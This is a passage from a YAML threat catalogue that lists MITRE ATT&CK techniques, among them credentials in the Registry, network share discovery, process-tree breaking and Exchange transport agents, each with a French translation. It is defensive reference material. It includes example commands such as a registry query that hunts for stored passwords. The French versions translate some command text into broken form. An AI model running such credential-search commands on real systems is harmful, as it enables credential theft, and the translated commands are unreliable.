    translations:
      fr:
        name: "Manipulation des donn\xE9es d\u2019ex\xE9cution"
        description: "Les adversaires peuvent modifier les syst\xE8mes afin de manipuler\
          \ les donn\xE9es au fur et \xE0 mesure qu\u2019elles sont consult\xE9es\
          \ et affich\xE9es \xE0 un utilisateur final, mena\xE7ant ainsi l\u2019int\xE9\
          grit\xE9 des donn\xE9es. (Citation : FireEye APT38 octobre 2018)(Citation\
          \ : DOJ Lazarus Sony 2018) En manipulant les donn\xE9es d\u2019ex\xE9cution,\
          \ les adversaires peuvent tenter d\u2019affecter un processus m\xE9tier,\
          \ la compr\xE9hension organisationnelle et la prise de d\xE9cision.\n\n\
          Les adversaires peuvent modifier les fichiers binaires d\u2019application\
          \ utilis\xE9s pour afficher les donn\xE9es afin de provoquer des manipulations\
          \ d\u2019ex\xE9cution. Les adversaires peuvent \xE9galement effectuer [Modifier\
          \ l\u2019association de fichiers par d\xE9faut](https://attack.mitre.org/techniques/T1546/001)\
          \ et [Mascarade](https://attack.mitre.org/techniques/T1036) pour provoquer\
          \ un effet similaire. Le type de modification et l\u2019impact qu\u2019\
          elle aura d\xE9pendent de l\u2019application et du processus cibles, ainsi\
          \ que des buts et objectifs de l\u2019adversaire. Pour les syst\xE8mes complexes,\
          \ un adversaire aurait probablement besoin d\u2019une expertise particuli\xE8\
          re et peut-\xEAtre d\u2019un acc\xE8s \xE0 des logiciels sp\xE9cialis\xE9\
          s li\xE9s au syst\xE8me, ce qui serait g\xE9n\xE9ralement obtenu par le\
          \ biais d\u2019une campagne de collecte d\u2019informations prolong\xE9\
          e afin d\u2019avoir l\u2019impact souhait\xE9.\nhttps://attack.mitre.org/techniques/T1565/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552.002
    ref_id: T1552.002
    name: Credentials in Registry
    description: 'Adversaries may search the Registry on compromised systems for insecurely
      stored credentials. The Windows Registry stores configuration information that
      can be used by the system or other programs. Adversaries may query the Registry
      looking for credentials and passwords that have been stored for use by other
      programs or services. Sometimes these credentials are used for automatic logons.


      Example commands to find Registry keys related to password information: (Citation:
      Pentestlab Stored Credentials)


      * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>

      * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

      https://attack.mitre.org/techniques/T1552/002'
    translations:
      fr:
        name: "Informations d\u2019identification dans le registre"
        description: "Les adversaires peuvent effectuer des recherches dans le registre\
          \ des syst\xE8mes compromis \xE0 la recherche d\u2019informations d\u2019\
          identification stock\xE9es de mani\xE8re non s\xE9curis\xE9e. Le registre\
          \ Windows stocke des informations de configuration qui peuvent \xEAtre utilis\xE9\
          es par le syst\xE8me ou d\u2019autres programmes. Les adversaires peuvent\
          \ interroger le registre \xE0 la recherche d\u2019informations d\u2019identification\
          \ et de mots de passe qui ont \xE9t\xE9 stock\xE9s pour \xEAtre utilis\xE9\
          s par d\u2019autres programmes ou services. Parfois, ces informations d\u2019\
          identification sont utilis\xE9es pour les ouvertures de session automatiques.\n\
          \nExemples de commandes pour trouver des cl\xE9s de registre li\xE9es aux\
          \ informations de mot de passe : (Citation : Pentestlab Stored Credentials)\n\
          \n* Ruche de la machine locale : <code>requ\xEAte reg HKLM /f mot de passe\
          \ /t REG_SZ /s</code>\n* Ruche de l\u2019utilisateur actuel : <code>requ\xEA\
          te reg HKCU /f mot de passe /t REG_SZ /s</code>\nhttps://attack.mitre.org/techniques/T1552/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1135
    ref_id: T1135
    name: Network Share Discovery
    description: "Adversaries may look for folders and drives shared on remote systems\
      \ as a means of identifying sources of information to gather as a precursor\
      \ for Collection and to identify potential systems of interest for Lateral Movement.\
      \ Networks often contain shared network drives and folders that enable users\
      \ to access file directories on various systems across a network. \n\nFile sharing\
      \ over a Windows network occurs over the SMB protocol. (Citation: Wikipedia\
      \ Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039)\
      \ can be used to query a remote system for available shared drives using the\
      \ <code>net view \\\\\\\\remotesystem</code> command. It can also be used to\
      \ query shared drives on the local system using <code>net share</code>. For\
      \ macOS, the <code>sharing -l</code> command lists all shared points used for\
      \ smb services.\nhttps://attack.mitre.org/techniques/T1135"
    translations:
      fr:
        name: "D\xE9couverte du partage du r\xE9seau"
        description: "Les adversaires peuvent rechercher des dossiers et des lecteurs\
          \ partag\xE9s sur des syst\xE8mes distants comme moyen d\u2019identifier\
          \ les sources d\u2019information \xE0 recueillir en tant que pr\xE9curseur\
          \ de la collecte et d\u2019identifier les syst\xE8mes d\u2019int\xE9r\xEA\
          t potentiels pour le mouvement lat\xE9ral. Les r\xE9seaux contiennent souvent\
          \ des lecteurs et des dossiers r\xE9seau partag\xE9s qui permettent aux\
          \ utilisateurs d\u2019acc\xE9der \xE0 des r\xE9pertoires de fichiers sur\
          \ diff\xE9rents syst\xE8mes d\u2019un r\xE9seau. \n\nLe partage de fichiers\
          \ sur un r\xE9seau Windows s\u2019effectue via le protocole SMB. (citation\
          \ : ressource partag\xE9e de Wikip\xE9dia) (Citation : Dossier partag\xE9\
          \ TechNet) [Net](https://attack.mitre.org/software/S0039) peut \xEAtre utilis\xE9\
          \ pour interroger un syst\xE8me distant sur les lecteurs partag\xE9s disponibles\
          \ \xE0 l\u2019aide de la commande <code>net view \\\\\\\\remotesystem</code>.\
          \ Il peut \xE9galement \xEAtre utilis\xE9 pour interroger des lecteurs partag\xE9\
          s sur le syst\xE8me local \xE0 l\u2019aide de <code>net share</code>. Pour\
          \ macOS, la commande <code>sharing -l</code> r\xE9pertorie tous les points\
          \ partag\xE9s utilis\xE9s pour les services smb.\nhttps://attack.mitre.org/techniques/T1135"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1120
    ref_id: T1120
    name: Peripheral Device Discovery
    description: 'Adversaries may attempt to gather information about attached peripheral
      devices and components connected to a computer system.(Citation: Peripheral
      Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could
      include auxiliary resources that support a variety of functionalities such as
      keyboards, printers, cameras, smart card readers, or removable storage. The
      information may be used to enhance their awareness of the system and network
      environment or may be used for further actions.

      https://attack.mitre.org/techniques/T1120'
    translations:
      fr:
        name: "D\xE9couverte des p\xE9riph\xE9riques"
        description: "Les adversaires peuvent tenter de recueillir des informations\
          \ sur les p\xE9riph\xE9riques et les composants connect\xE9s \xE0 un syst\xE8\
          me informatique. (Citation : Peripheral Discovery Linux)(Citation : D\xE9\
          couverte de p\xE9riph\xE9riques macOS) Les p\xE9riph\xE9riques peuvent inclure\
          \ des ressources auxiliaires qui prennent en charge diverses fonctionnalit\xE9\
          s telles que des claviers, des imprimantes, des appareils photo, des lecteurs\
          \ de cartes \xE0 puce ou des dispositifs de stockage amovibles. Les informations\
          \ peuvent \xEAtre utilis\xE9es pour am\xE9liorer leur connaissance du syst\xE8\
          me et de l\u2019environnement du r\xE9seau ou peuvent \xEAtre utilis\xE9\
          es pour d\u2019autres actions.\nhttps://attack.mitre.org/techniques/T1120"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.009
    ref_id: T1036.009
    name: Break Process Trees
    description: "An adversary may attempt to evade process tree-based analysis by\
      \ modifying executed malware's parent process ID (PPID). If endpoint protection\
      \ software leverages the \u201Cparent-child\" relationship for detection, breaking\
      \ this relationship could result in the adversary\u2019s behavior not being\
      \ associated with previous process tree activity. On Unix-based systems breaking\
      \ this process tree is common practice for administrators to execute software\
      \ using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux\
      \ systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106)\
      \ calls to alter malware's process tree. For example, adversaries can execute\
      \ their payload without any arguments, call the `fork()` API call twice, then\
      \ have the parent process exit. This creates a grandchild process with no parent\
      \ process that is immediately adopted by the `init` system process (PID 1),\
      \ which successfully disconnects the execution of the adversary's payload from\
      \ its previous process tree.\n\nAnother example is using the \u201Cdaemon\u201D\
      \ syscall to detach from the current parent process and run in the background.(Citation:\
      \ Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)\nhttps://attack.mitre.org/techniques/T1036/009"
    translations:
      fr:
        name: Briser les arbres de processus
        description: "Un adversaire peut tenter d\u2019\xE9chapper \xE0 l\u2019analyse\
          \ bas\xE9e sur l\u2019arborescence des processus en modifiant l\u2019ID\
          \ de processus parent (PPID) du logiciel malveillant ex\xE9cut\xE9. Si un\
          \ logiciel de protection des endpoints exploite la relation \xAB parent-enfant\
          \ \xBB pour la d\xE9tection, la rupture de cette relation peut faire en\
          \ sorte que le comportement de l\u2019adversaire ne soit pas associ\xE9\
          \ \xE0 l\u2019activit\xE9 pr\xE9c\xE9dente de l\u2019arborescence des processus.\
          \ Sur les syst\xE8mes Unix, la rupture de cet arbre de processus est une\
          \ pratique courante pour les administrateurs qui ex\xE9cutent des logiciels\
          \ \xE0 l\u2019aide de scripts et de programmes. (Citation : 3OHA double-fourche\
          \ 2022) \n\nSur les syst\xE8mes Linux, les adversaires peuvent ex\xE9cuter\
          \ une s\xE9rie d\u2019appels [API natifs](https://attack.mitre.org/techniques/T1106)\
          \ pour modifier l\u2019arborescence des processus des logiciels malveillants.\
          \ Par exemple, les adversaires peuvent ex\xE9cuter leur charge utile sans\
          \ aucun argument, appeler deux fois l\u2019appel d\u2019API \xAB fork()\
          \ \xBB, puis faire en sorte que le processus parent se termine. Cela cr\xE9\
          e un processus petit-fils sans processus parent qui est imm\xE9diatement\
          \ adopt\xE9 par le processus syst\xE8me \xAB init \xBB (PID 1), qui d\xE9\
          connecte avec succ\xE8s l\u2019ex\xE9cution de la charge utile de l\u2019\
          adversaire de son arborescence de processus pr\xE9c\xE9dente.\n\nUn autre\
          \ exemple est l\u2019utilisation de l\u2019appel syst\xE8me \xAB\_daemon\_\
          \xBB pour se d\xE9tacher du processus parent actuel et s\u2019ex\xE9cuter\
          \ en arri\xE8re-plan. (Citation : Sandfly BPFDoor 2022)(Citation : Microsoft\
          \ XorDdos Linux Stealth 2022)\nhttps://attack.mitre.org/techniques/T1036/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.004
    ref_id: T1590.004
    name: Network Topology
    description: 'Adversaries may gather information about the victim''s network topology
      that can be used during targeting. Information about network topologies may
      include a variety of details, including the physical and/or logical arrangement
      of both external-facing and internal network environments. This information
      may also include specifics regarding network devices (gateways, routers, etc.)
      and other infrastructure.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or
      [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about network topologies may also be exposed to adversaries via online or other
      accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      DNS Dumpster) Gathering this information may reveal opportunities for other
      forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)
      or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),
      establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1590/004'
    translations:
      fr:
        name: "Topologie de r\xE9seau"
        description: "Les adversaires peuvent recueillir des informations sur la topologie\
          \ du r\xE9seau de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur les topologies de r\xE9seau peuvent inclure une vari\xE9\
          t\xE9 de d\xE9tails, y compris la disposition physique et/ou logique des\
          \ environnements r\xE9seau externes et internes. Ces informations peuvent\
          \ \xE9galement inclure des d\xE9tails concernant les p\xE9riph\xE9riques\
          \ r\xE9seau (passerelles, routeurs, etc.) et d\u2019autres infrastructures.\n\
          \nLes adversaires peuvent collecter ces informations de diff\xE9rentes mani\xE8\
          res, par exemple par le biais d\u2019une [analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou d\u2019un [hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les informations sur les topologies de r\xE9seau peuvent \xE9galement\
          \ \xEAtre expos\xE9es \xE0 des adversaires via des ensembles de donn\xE9\
          es en ligne ou d\u2019autres ensembles de donn\xE9es accessibles (ex : [Sites\
          \ Web appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : benne \xE0 ordures DNS) La collecte de ces informations peut\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Rechercher dans des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)\
          \ ou [Rechercher dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablir des ressources op\xE9rationnelles (ex : [Acqu\xE9rir\
          \ l\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromettre\
          \ l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1590/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1587.002
    ref_id: T1587.002
    name: Code Signing Certificates
    description: 'Adversaries may create self-signed code signing certificates that
      can be used during targeting. Code signing is the process of digitally signing
      executables and scripts to confirm the software author and guarantee that the
      code has not been altered or corrupted. Code signing provides a level of authenticity
      for a program from the developer and a guarantee that the program has not been
      tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools
      may trust a signed piece of code more than an unsigned piece of code even if
      they don''t know who issued the certificate or who the author is.


      Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries
      may develop self-signed code signing certificates for use in operations.

      https://attack.mitre.org/techniques/T1587/002'
    translations:
      fr:
        name: Certificats de signature de code
        description: "Les adversaires peuvent cr\xE9er des certificats de signature\
          \ de code auto-sign\xE9s qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ La signature de code est le processus de signature num\xE9rique d\u2019\
          ex\xE9cutables et de scripts pour confirmer l\u2019auteur du logiciel et\
          \ garantir que le code n\u2019a pas \xE9t\xE9 modifi\xE9 ou corrompu. La\
          \ signature de code fournit un niveau d\u2019authenticit\xE9 pour un programme\
          \ de la part du d\xE9veloppeur et une garantie que le programme n\u2019\
          a pas \xE9t\xE9 alt\xE9r\xE9. (citation : Signature du code Wikip\xE9dia)\
          \ Les utilisateurs et/ou les outils de s\xE9curit\xE9 peuvent faire plus\
          \ confiance \xE0 un morceau de code sign\xE9 qu\u2019\xE0 un morceau de\
          \ code non sign\xE9, m\xEAme s\u2019ils ne savent pas qui a \xE9mis le certificat\
          \ ou qui en est l\u2019auteur.\n\nAvant [Code Signing](https://attack.mitre.org/techniques/T1553/002),\
          \ les adversaires peuvent d\xE9velopper des certificats de signature de\
          \ code auto-sign\xE9s pour les utiliser dans les op\xE9rations.\nhttps://attack.mitre.org/techniques/T1587/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1222.001
    ref_id: T1222.001
    name: Windows File and Directory Permissions Modification
    description: 'Adversaries may modify file or directory permissions/attributes
      to evade access control lists (ACLs) and access protected files.(Citation: Hybrid
      Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File
      and directory permissions are commonly managed by ACLs configured by the file
      or directory owner, or users with the appropriate permissions. File and directory
      ACL implementations vary by platform, but generally explicitly designate which
      users or groups can perform which actions (read, write, execute, etc.).


      Windows implements file and directory ACLs as Discretionary Access Control Lists
      (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs
      identifies the accounts that are allowed or denied access to a securable object.
      When an attempt is made to access a securable object, the system checks the
      access control entries in the DACL in order. If a matching entry is found, access
      to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access
      Control Lists May 2018)


      Adversaries can interact with the DACLs using built-in Windows commands, such
      as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher
      permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001)
      provides cmdlets that can be used to retrieve or modify file and directory DACLs.
      Specific file and directory modifications may be a required step for many techniques,
      such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),
      [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037),
      or tainting/hijacking other instrumental binary/configuration files via [Hijack
      Execution Flow](https://attack.mitre.org/techniques/T1574).

      https://attack.mitre.org/techniques/T1222/001'
    translations:
      fr:
        name: "Modification des autorisations de fichiers et de r\xE9pertoires Windows"
        description: "Les adversaires peuvent modifier les autorisations/attributs\
          \ de fichiers ou de r\xE9pertoires pour contourner les listes de contr\xF4\
          le d\u2019acc\xE8s (ACL) et acc\xE9der aux fichiers prot\xE9g\xE9s. (Citation\
          \ : Hybrid Analysis Icacls1 juin 2018)(Citation : Analyse hybride Icacls2\
          \ mai 2018) Les autorisations de fichiers et de r\xE9pertoires sont g\xE9\
          n\xE9ralement g\xE9r\xE9es par des listes de contr\xF4le d\u2019acc\xE8\
          s configur\xE9es par le propri\xE9taire du fichier ou du r\xE9pertoire,\
          \ ou par les utilisateurs disposant des autorisations appropri\xE9es. Les\
          \ impl\xE9mentations de listes de contr\xF4le d\u2019acc\xE8s de fichiers\
          \ et de r\xE9pertoires varient selon la plate-forme, mais d\xE9signent g\xE9\
          n\xE9ralement explicitement quels utilisateurs ou groupes peuvent effectuer\
          \ quelles actions (lecture, \xE9criture, ex\xE9cution, etc.).\n\nWindows\
          \ impl\xE9mente les listes de contr\xF4le d\u2019acc\xE8s de fichiers et\
          \ de r\xE9pertoires sous forme de listes de contr\xF4le d\u2019acc\xE8s\
          \ discr\xE9tionnaires (DACL). (Citation : Microsoft DACL mai 2018) \xC0\
          \ l\u2019instar d\u2019une liste de contr\xF4le d\u2019acc\xE8s standard,\
          \ les DACL identifient les comptes dont l\u2019acc\xE8s \xE0 un objet s\xE9\
          curisable est autoris\xE9 ou refus\xE9. Lorsqu\u2019une tentative d\u2019\
          acc\xE8s \xE0 un objet s\xE9curisable est effectu\xE9e, le syst\xE8me v\xE9\
          rifie les entr\xE9es de contr\xF4le d\u2019acc\xE8s dans la DACL dans l\u2019\
          ordre. Si une entr\xE9e correspondante est trouv\xE9e, l\u2019acc\xE8s \xE0\
          \ l\u2019objet est accord\xE9. Dans le cas contraire, l\u2019acc\xE8s est\
          \ refus\xE9. (Citation : Listes de contr\xF4le d\u2019acc\xE8s Microsoft\
          \ mai 2018)\n\nLes adversaires peuvent interagir avec les DACL \xE0 l\u2019\
          aide de commandes Windows int\xE9gr\xE9es, telles que \xAB icacls \xBB,\
          \ \xAB cacls \xBB, \xAB takeown \xBB et \xAB attrib \xBB, qui peuvent accorder\
          \ aux adversaires des autorisations plus \xE9lev\xE9es sur des fichiers\
          \ et des dossiers sp\xE9cifiques. De plus, [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ fournit des applets de commande qui peuvent \xEAtre utilis\xE9es pour\
          \ r\xE9cup\xE9rer ou modifier des DACL de fichiers et de r\xE9pertoires.\
          \ Des modifications sp\xE9cifiques de fichiers et de r\xE9pertoires peuvent\
          \ \xEAtre une \xE9tape n\xE9cessaire pour de nombreuses techniques, telles\
          \ que l\u2019\xE9tablissement de la persistance via [Fonctionnalit\xE9s\
          \ d\u2019accessibilit\xE9](https://attack.mitre.org/techniques/T1546/008),\
          \ [Scripts d\u2019initialisation de d\xE9marrage ou de connexion](https://attack.mitre.org/techniques/T1037),\
          \ ou l\u2019alt\xE9ration/d\xE9tournement d\u2019autres fichiers binaires/de\
          \ configuration instrumentaux via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\
          https://attack.mitre.org/techniques/T1222/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.006
    ref_id: T1137.006
    name: Add-ins
    description: 'Adversaries may abuse Microsoft Office add-ins to obtain persistence
      on a compromised system. Office add-ins can be used to add functionality to
      Office programs. (Citation: Microsoft Office Add-ins) There are different types
      of add-ins that can be used by the various Office products; including Word/Excel
      add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM)
      add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office
      (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation:
      FireEye Mail CDS 2018)


      Add-ins can be used to obtain persistence because they can be set to execute
      code when an Office application starts.

      https://attack.mitre.org/techniques/T1137/006'
    translations:
      fr:
        name: "Compl\xE9ments"
        description: "Les adversaires peuvent abuser des compl\xE9ments Microsoft\
          \ Office pour obtenir la persistance sur un syst\xE8me compromis. Les compl\xE9\
          ments Office peuvent \xEAtre utilis\xE9s pour ajouter des fonctionnalit\xE9\
          s aux programmes Office. (Citation : Compl\xE9ments Microsoft Office) Il\
          \ existe diff\xE9rents types de compl\xE9ments qui peuvent \xEAtre utilis\xE9\
          s par les diff\xE9rents produits Office ; y compris les biblioth\xE8ques\
          \ de compl\xE9ments Word/Excel (WLL/XLL), les compl\xE9ments VBA, les compl\xE9\
          ments COM (Office Component Object Model), les compl\xE9ments d\u2019automatisation,\
          \ l\u2019\xE9diteur VBA (VBE), les compl\xE9ments Visual Studio Tools pour\
          \ Office (VSTO) et les compl\xE9ments Outlook. (Citation : Compl\xE9ments\
          \ de persistance de MRWLabs Office)(R\xE9f\xE9rence : FireEye Mail CDS 2018)\n\
          \nLes compl\xE9ments peuvent \xEAtre utilis\xE9s pour obtenir la persistance,\
          \ car ils peuvent \xEAtre configur\xE9s pour ex\xE9cuter du code au d\xE9\
          marrage d\u2019une application Office.\nhttps://attack.mitre.org/techniques/T1137/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505.002
    ref_id: T1505.002
    name: Transport Agent
    description: "Adversaries may abuse Microsoft transport agents to establish persistent\
      \ access to systems. Microsoft Exchange transport agents can operate on email\
      \ messages passing through the transport pipeline to perform various tasks such\
      \ as filtering spam, filtering malicious attachments, journaling, or adding\
      \ a corporate signature to the end of all outgoing emails.(Citation: Microsoft\
      \ TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents\
      \ can be written by application developers and then compiled to .NET assemblies\
      \ that are subsequently registered with the Exchange server. Transport agents\
      \ will be invoked during a specified stage of email processing and carry out\
      \ developer defined tasks. \n\nAdversaries may register a malicious transport\
      \ agent to provide a persistence mechanism in Exchange Server that can be triggered\
      \ by adversary-specified email events.(Citation: ESET LightNeuron May 2019)\
      \ Though a malicious transport agent may be invoked for all emails passing through\
      \ the Exchange transport pipeline, the agent can be configured to only carry\
      \ out specific tasks in response to adversary defined criteria. For example,\
      \ the transport agent may only carry out an action like copying in-transit attachments\
      \ and saving them for later exfiltration if the recipient email address matches\
      \ an entry on a list provided by the adversary.\nhttps://attack.mitre.org/techniques/T1505/002"
    translations:
      fr:
        name: Transport Agent
        description: "Les adversaires peuvent abuser des agents de transport Microsoft\
          \ pour \xE9tablir un acc\xE8s persistant aux syst\xE8mes. Les agents de\
          \ transport Microsoft Exchange peuvent op\xE9rer sur les messages \xE9lectroniques\
          \ passant par le pipeline de transport pour effectuer diverses t\xE2ches\
          \ telles que le filtrage du courrier ind\xE9sirable, le filtrage des pi\xE8\
          ces jointes malveillantes, la journalisation ou l\u2019ajout d\u2019une\
          \ signature d\u2019entreprise \xE0 la fin de tous les e-mails sortants.\
          \ (R\xE9f\xE9rence : Microsoft TransportAgent juin 2016)(Citation : ESET\
          \ LightNeuron mai 2019) Les agents de transport peuvent \xEAtre \xE9crits\
          \ par les d\xE9veloppeurs d\u2019applications, puis compil\xE9s dans des\
          \ assemblys .NET qui sont ensuite inscrits aupr\xE8s du serveur Exchange.\
          \ Les agents de transport seront appel\xE9s au cours d\u2019une \xE9tape\
          \ sp\xE9cifi\xE9e du traitement des e-mails et ex\xE9cuteront des t\xE2\
          ches d\xE9finies par le d\xE9veloppeur. \n\nLes adversaires peuvent inscrire\
          \ un agent de transport malveillant pour fournir un m\xE9canisme de persistance\
          \ dans Exchange Server qui peut \xEAtre d\xE9clench\xE9 par des \xE9v\xE9\
          nements de courrier \xE9lectronique sp\xE9cifi\xE9s par l\u2019adversaire.\
          \ (Citation : ESET LightNeuron mai 2019) Bien qu\u2019un agent de transport\
          \ malveillant puisse \xEAtre appel\xE9 pour tous les e-mails passant par\
          \ le pipeline de transport Exchange, l\u2019agent peut \xEAtre configur\xE9\
          \ pour n\u2019effectuer que des t\xE2ches sp\xE9cifiques en r\xE9ponse \xE0\
          \ des crit\xE8res d\xE9finis par l\u2019adversaire. Par exemple, l\u2019\
          agent de transport ne peut effectuer une action telle que la copie des pi\xE8\
          ces jointes en transit et leur sauvegarde en vue d\u2019une exfiltration\
          \ ult\xE9rieure que si l\u2019adresse e-mail du destinataire correspond\
          \ \xE0 une entr\xE9e d\u2019une liste fournie par l\u2019adversaire.\nhttps://attack.mitre.org/techniques/T1505/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1082
    ref_id: T1082
    name: System Information Discovery
    description: 'An adversary may attempt to get detailed information about the operating
      system and hardware, including version, patches, hotfixes, service packs, and
      architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.


      Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used
      to gather detailed system information. If running with privileged access, a
      breakdown of system data can be gathered through the <code>systemsetup</code>
      configuration tool on macOS. As an example, adversaries with user-level access
      can execute the <code>df -aH</code> command to obtain currently mounted disks
      and associated freely available space. Adversaries may also leverage a [Network
      Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices
      to gather detailed system information (e.g. <code>show version</code>).(Citation:
      US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082)
      combined with information gathered from other forms of discovery and reconnaissance
      can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation:
      20 macOS Common Tools and Techniques)


      Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure
      allow access to instance and virtual machine information via APIs. Successful
      authenticated API calls can return data such as the operating system platform
      and status of a particular instance or the model view of a virtual machine.(Citation:
      Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft
      Virutal Machine API)

      https://attack.mitre.org/techniques/T1082'
    translations:
      fr:
        name: "D\xE9couverte des informations syst\xE8me"
        description: "Un adversaire peut tenter d\u2019obtenir des informations d\xE9\
          taill\xE9es sur le syst\xE8me d\u2019exploitation et le mat\xE9riel, y compris\
          \ la version, les correctifs, les correctifs, les Service Packs et l\u2019\
          architecture. Les adversaires peuvent utiliser les informations de la [D\xE9\
          couverte des informations syst\xE8me](https://attack.mitre.org/techniques/T1082)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner les comportements\
          \ de suivi, notamment si l\u2019adversaire infecte compl\xE8tement la cible\
          \ et/ou tente ou non des actions sp\xE9cifiques.\n\nDes outils tels que\
          \ [Systeminfo](https://attack.mitre.org/software/S0096) peuvent \xEAtre\
          \ utilis\xE9s pour collecter des informations d\xE9taill\xE9es sur le syst\xE8\
          me. Si vous utilisez un acc\xE8s privil\xE9gi\xE9, une r\xE9partition des\
          \ donn\xE9es syst\xE8me peut \xEAtre collect\xE9e via l\u2019outil de configuration\
          \ du <code>syst\xE8me</code> sur macOS. \xC0 titre d\u2019exemple, les adversaires\
          \ disposant d\u2019un acc\xE8s au niveau de l\u2019utilisateur peuvent ex\xE9\
          cuter la commande <code>df -aH</code> pour obtenir les disques actuellement\
          \ mont\xE9s et l\u2019espace libre disponible associ\xE9. Les adversaires\
          \ peuvent \xE9galement exploiter une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour collecter des informations\
          \ d\xE9taill\xE9es sur le syst\xE8me (par exemple, <code>afficher la version</code>).\
          \ (R\xE9f\xE9rence : US-CERT-TA18-106A) [D\xE9couverte des informations\
          \ syst\xE8me](https://attack.mitre.org/techniques/T1082) combin\xE9 aux\
          \ informations recueillies lors d\u2019autres formes de d\xE9couverte et\
          \ de reconnaissance peut favoriser le d\xE9veloppement et la dissimulation\
          \ de la charge utile. (R\xE9f\xE9rence : OSX. FairyTale)(Citation\_: 20\
          \ outils et techniques courants macOS)\n\nLes fournisseurs de cloud d\u2019\
          infrastructure en tant que service (IaaS) tels que AWS, GCP et Azure permettent\
          \ d\u2019acc\xE9der aux informations d\u2019instance et de machine virtuelle\
          \ via des API. Les appels d\u2019API authentifi\xE9s r\xE9ussis peuvent\
          \ renvoyer des donn\xE9es telles que le syst\xE8me d\u2019exploitation,\
          \ la plate-forme et l\u2019\xE9tat d\u2019une instance particuli\xE8re ou\
          \ la vue du mod\xE8le d\u2019une machine virtuelle. (citation : Amazon Describe\
          \ Instance)(citation : ressource Google Instances)(Citation : Microsoft\
          \ Virutal Machine API)\nhttps://attack.mitre.org/techniques/T1082"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071
    ref_id: T1071
    name: Application Layer Protocol
    description: "Adversaries may communicate using OSI application layer protocols\
      \ to avoid detection/network filtering by blending in with existing traffic.\
      \ Commands to the remote system, and often the results of those commands, will\
      \ be embedded within the protocol traffic between the client and server. \n\n\
      Adversaries may utilize many different protocols, including those used for web\
      \ browsing, transferring files, electronic mail, DNS, or publishing/subscribing.\
      \ For connections that occur internally within an enclave (such as those between\
      \ a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH,\
      \ or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)\nhttps://attack.mitre.org/techniques/T1071"
    translations:
      fr:
        name: Protocole de la couche application
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide de protocoles\
